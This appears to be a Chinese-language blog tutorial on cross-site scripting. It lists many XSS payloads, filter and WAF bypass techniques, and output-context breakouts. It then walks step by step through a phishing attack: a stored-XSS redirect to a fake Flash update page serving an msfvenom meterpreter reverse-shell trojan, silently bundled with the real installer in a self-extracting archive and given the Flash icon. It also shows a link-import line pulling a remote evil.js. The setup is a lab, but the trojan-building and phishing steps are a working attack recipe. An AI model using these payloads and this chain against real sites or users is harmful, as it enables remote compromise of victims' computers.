XSS简介
XSS,全称Cross Site Scripting,即跨站脚本攻击,是最普遍的Web应用安全漏洞。这类漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意脚本代码的执行,从而达到恶意攻击用户的目的。需要强调的是,XSS不仅仅限于JavaScript,还包括flash等其它脚本语言。根据攻击代码的工作方式,XSS可以分为反射型的XSS、存储型的XSS和DOM型的XSS。
1、反射型
反射型的XSS是非持久化的,攻击者事先制作好攻击链接,需要欺骗用户自己去点击链接才能触发XSS代码,但是服务器中没有这样的页面和内容,一般容易出现在搜索页面
2、储存型
存储型的XSS是持久化的,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行。这种XSS非常危险,容易造成蠕虫,大量盗窃cookie。
3、DOM型
DOM型的XSS是基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。例如服务器端经常使用document.boby.innerHtml等函数动态生成html页面,如果这些函数在引用某些变量时没有进行过滤或检查,就会产生DOM型的XSS。DOM型XSS可能是存储型,也有可能是反射型
一些常用的标签和属性
scirpt 标签
<script> 标签用于定义客户端脚本,比如 JavaScript。
<script>alert(1);</script><script>alert("xss");</script>
img 标签
<img> 标签定义 HTML 页面中的图像。
<img src=1 onerror=alert(1);>
<img src=1 onerror=alert("xss");>
svg 标签
<svg> 标签用来在HTML页面中直接嵌入SVG 文件的代码。
<svg onload=alert(1);>
iframe 标签
<iframe> 标签会创建包含另外一个文档的内联框架。
<iframeonload=alert(1);></iframe>
video 标签
<video> 标签定义视频,比如电影片段或其他视频流。
<video><sourceonerror=alert(1)>
audio 标签
<audio> 标签定义声音,比如音乐或其他音频流。
<audiosrc=xonerror=alert(1);>
textarea 标签
<textarea> 标签定义一个多行的文本输入控件。
<textareaonfocus=alert(1);autofocus>
keygen 标签
<keygenautofocusonfocus=alert(1)> //仅限火狐
marquee 标签
<marqueeonstart=alert(1)></marquee> //Chrome不行,火狐和IE都可以
isindex 标签
<isindextype=imagesrc=1onerror=alert(1)>//仅限于IE
利用 link 远程包含 JavaScript 文件
<link>
标签定义文档与外部资源的关系。在无CSP的情况下才可以使用:<link rel=import href="http://47.xxx.xxx.72/evil.js">
利用 JavaScript 伪协议
javascript: 这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行。当浏览器装载了这样的URL时,并不会转向某个URL,而是执行这个URL中包含的javascript代码,并把最后一条javascript语句的字符串值作为新文档的内容显示出来。
a 标签
<ahref="javascript:alert(1);">xss</a>
iframe 标签
<iframesrc=javascript:alert(1);></iframe>
img 标签
<imgsrc=xonerror=alert(1)>
<imgsrc=javascript:alert(1)> //IE7以下
form 标签
<form action="Javascript:alert(1)"><input type=submit>
常见的xss绕过姿势
1、绕过空格过滤
当空格被过滤了时,我们可以用 / 来代替空格:
<img/src="x"/onerror=alert(1);>
也可以:
<img/src="x"onerror=alert(1);>
2、绕过引号过滤
如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号:
<imgsrc=xonerror=alert(`xss`);>
3、绕过括号过滤
当括号被过滤的时候可以使用throw来绕过。throw 语句用于当错误发生时抛出一个错误。
<imgsrc=xonerror="javascript:window.onerror=alert;throw1">
<aonmouseover="javascript:window.onerror=alert;throw 1>
4、绕过关键字过滤
大小写绕过
<sCRiPt>alert(1);</sCrIpT>
<ImGsRc=xonerRor=alert(1);>
双写绕过
有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过
<scrscriptipt>alert(1);</scrscriptipt>
<imimggsrsrcc=xonerror=alert(1);>
字符串拼接绕过
利用eval()函数
与PHP的eval()函数相同,JavaScript的eval()函数也可以计算 JavaScript 字符串,并把它作为脚本代码来执行。
<imgsrc="x"onerror="a='aler';b='t';c='(1)';eval(a+b+c)">
<imgsrc="x"onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
// 在js中,我们可以用反引号代替单双引号
利用top
<script>top["al"+"ert"](`xss`);</script>
<script>top["al"+"ert"]("xss");</script>
XSS输出点总结
WAF最大的问题,在于不知道输出的位置,导致攻击者根据具体环境以及具体输出的标签类型便可以绕过。
1、输出在属性里
例如输出的位置位于value属性中:
<inputvalue="[输出]"type=text>
我们可以选择直接闭合标签:
"><img src=x onerror=alert(1);>
// 输出后如下:
// <input value=""><img src=x onerror=alert(1);>" type=text>
如果 < > 被过滤的话可以换成选择使用事件来闭合属性,并将后面的引号注释掉或闭合:
" autofocus onfocus=alert(1)//
" autofocus onfocus=alert(1) "
// 输出后如下:
// <input value="" autofocus onfocus=alert(1)//" type=text>
同样还有很多其他的payload:
" onmouseover=prompt(0) x="
" onfocusin=alert(1) autofocus x="
" onfocusout=alert(1) autofocus x="
" onblur=alert(1) autofocus a="
还有一些特殊的场景,如:
<inputtype="hidden"value="[输出]"/>
<inputvalue="[输出点]"type="hidden"/>
这里只能把input标签闭合,然后直接执行脚本,否则会因为type为hidden导致无法执行
2、输出在HTML标签之间
例如输出的位置如下:
<divid="body">[输出]</div>
直接提交 <script>alert(1)</script> 即可触发XSS,但是当标签是不能执行脚本的标签时,如下面这几个:
<title></title>
<textarea></textarea>
<xmp></xmp>
<iframe></iframe>
那么就得先把那个标签闭合,然后在注入XSS语句,例如:
</textarea><script>alert(1)</script>
输出在script标签之间
例如:
<script>
var x ="input";
</script>
可控位置在input,可以闭合script标签插入代码,但是同样我们仅仅闭合双引号就可以执行js代码了:
";alert(1)//
// 输出后如下:
// <script>var x = "";alert(1)//";</script>
Flash 弹窗钓鱼
1、原理
通过xss漏洞,弹出Flash更新请求诱使用户点击,使用户跳转到设置好的钓鱼页面(伪造好的Flash更新页面),下载伪造的Flash组件(木马程序)并执行,最终实现反弹Shell上线MSF,完成钓鱼攻击。
2、环境:
攻击机:centos7
受害机:windows10
漏洞环境:WeBug4.0
Flash 官网源码
3、winrar制作MSF捆绑木马
msf生成木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=7777 -f exe > /root/test.exe
3.1、Flash官网下载安装包与msf生成的木马文件放在同一个文件夹下
3.2、鼠标右键,添加到压缩文件。点击创建自解压格式压缩文件。rar就会变成exe后缀的文件
3.3、点击高级自解压选项,常规
解压路径->绝对路径
C:windowstemp
3.4、设置
提取后运行
C:windowstemptest.exe
C:windowstempflashplayerpp_install_cn.exe
3.5、模式
安静模式->全部隐藏
3.6、更新
更新方式->解压并更新文件
覆盖方式->覆盖所有文件
3.7、点击确定按钮,在点击确定按钮生成"新建文件夹.exe"
3.8、修改文件名为flashplayer_install_cn.exe。这时候已经可以使用了,只是太丑。另一个神器出现“ResourceHacker”。
通过ResourceHacker打开原版的flash安装程序,点击图标组文件夹中的文件,鼠标右键保存“*.ico资源”,即可导出ico图标。
3.9、利用同样的方法打开制作好的钓鱼木马,找到“图标组”,鼠标右键,“替换图标”,选择导出的flash.ico,确认之后点击左上角的“文件”->“保存”即可。
4、搭建Flash钓鱼页面
首先我们需要在centos7上搭建一个钓鱼页面,需要下载Flash官方页面的源码进行修改。这里有两个项目可以选择
项目一地址:https://github.com/Wileysec/adobe-flash-phishing-page
该项目是模仿的 Flash Player 中文官网的页面:
需要在index.html中的加入我们制作的木马的链接地址:
项目二地址:https://github.com/r00tSe7en/Flash-Pop
该项目是一个逼真的Flash更新提醒的弹窗,强迫症都会忍不住去点击下载的:
我们使用第二种方式
点击“立即升级”的这个按钮点击会下载我们提前准备好的 MSF 木马。如果管理员以为自己的 Flash 版本过低的话,可能会下载并运行这个木马。
找到flash.js,搜索链接“https://www.se7ensec.cn/”,将其改为我们制作的木马的链接地址,然后保存即可:
然后将伪造的Flash页面搭建在攻击机centos7的Web服务上:
5、Docker搭建渗透测试靶场:webug4.0
Webug4.0官方源码:https://github.com/wangai3176/webug4.0
Docker hub 上拉取镜像
docker pull area39/webug
docker run -d -P area39/webug
账号密码:admin/admin
6、插入XSS攻击向量
访问目标网站
最下方留言板,测试,发现存在xss,插入payload,提交
<script>window.location.href="http://xxx.xxx.xxx.xxx";</script>
当用户再次访问该页面或管理员在后台查看评论时,就会将页面劫持到我们所伪造的钓鱼页面上
当用户去点击立即升级会下载我们准备的MSF捆绑木马
如果受害者以为自己的 Flash 版本过低的话,就可能会运行这个木马。如下图所示,受害者主机成功上线:
经过了几个月的努力,我终于完成了Linux应急响应手册,这份手册力争让所有人可以独立完成Linux的应急响应我推荐攻击方的人员也看一看手册内容,因为其中包含一些隐藏足迹的小手段我真的巨想把整个近3万字的内容在公众号中展示给大家,但是,智障公众号不支持markd…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论